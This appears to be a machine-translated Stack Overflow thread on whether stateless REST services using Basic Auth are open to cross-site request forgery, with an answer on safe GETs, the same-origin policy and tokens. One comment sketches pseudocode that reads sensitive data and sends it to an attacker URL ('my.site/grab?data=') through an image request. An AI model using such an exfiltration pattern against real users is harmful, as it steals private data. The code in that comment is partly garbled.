2010-01-07 136 views
12

跨站點請求僞造對無狀態RESTful服務可能嗎?REST和CSRF(跨站點請求僞造)

我不是在說服務器記得您通過cookie登錄的僞REST。我正在談論純粹的沒有應用程序服務狀態的服務器上沒有cookies的REST。

我正在使用SSL和基本身份驗證。對於每個請求,授權標題必須在那裏。儘管在SSL級別上有某種會話,但JSP意義上沒有「會話」。

因此,讓我們假設我正在查看發出Ajax請求的合法網頁,並以某種方式轉到同一個選項卡或另一個選項卡中的其他頁面,並且該頁面發出相同的Ajax請求。 (我假設合法網頁上沒有惡意代碼;這完全是另一回事,在這種情況下任何事情都可能發生)。

當第二頁發出Ajax請求時,瀏覽器是否會放在相同的位置授權標題?即瀏覽器會說「噢,你想再次去那裏?嘿,我碰巧還有鑰匙!」?

另外,無法將惡意腳本做xhr請求,然後在回調中從ioargs獲取請求,獲取授權頭和un-Base64的名稱和密碼?

回答

4

聲明:我不是安全專家。

使用HTTP Basic Auth不會阻止通過GET請求進行CSRF攻擊。例如。其他人可以在他們的HTML頁面中包含一個img標籤,並在一些衆所周知的URI上執行GET,並且您的瀏覽器將愉快地發送基本認證信息。如果GET操作是「安全的」(這是任何聲稱爲RESTful的任何規則的第一條規則),這不會產生問題(超出浪費的帶寬)。

由於同源策略,Ajax不是問題。

只有在您生成的HTML中包含服務器生成的令牌並驗證其在表單提交請求中的存在性後,才能保護您免受其他人在頁面中簡單包含「外部」表單的風險。您可能會限制瀏覽器生成的內容類型; XHR請求無需這樣做。

+0

IFrame以某種方式繞過同一個來源。以下是可能的:hisData =某種iframe XHRGet(csrf); myURL ='http://my.site/grab?data ='+ urlEncode(hisData); myPic.innerHTML ='「;?假設csrf是一個獲取一些敏感數據的URL,並且my.site/grab上的GET記錄了我們在查詢中輸入的數據。 – 2010-01-08 16:51:58

+0

瀏覽器不會檢查這個嗎? – Nikhil 2018-02-01 13:10:26

相關問題